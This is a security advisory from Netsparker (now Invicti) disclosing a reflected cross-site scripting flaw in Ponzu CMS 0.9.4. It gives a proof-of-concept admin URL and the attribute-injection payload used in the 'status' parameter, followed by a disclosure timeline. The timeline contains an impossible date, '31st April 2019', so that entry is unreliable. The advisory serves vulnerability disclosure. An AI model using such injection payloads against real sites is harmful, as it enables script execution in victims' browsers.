Information
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Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting in Ponzu CMS
Affected Software: Ponzu
Affected Versions: 0.9.4
Homepage: https://docs.ponzu-cms.org/
Vulnerability: Reflected Cross-site Scripting
Severity: High
Status: Not Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Invicti Advisory Reference: NS-19-005

Technical Details
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Reflected XSS

URL : http://{DOMAIN}/admin/contents?count=1&offset=-1&order=desc&status=x"
onmouseover=netsparker(0x001194) x="&type=Song
Parameter Name : status
Parameter Type : GET
Attack Patern : x" onmouseover=netsparker(0x001194) x="

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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26th February 2019 - First Contact
27th February 2019 - Technical Details Sent
31st April 2019 - Vendor Requests PR of the Technical Details
12th June 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Yusuf Şahin while testing the Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.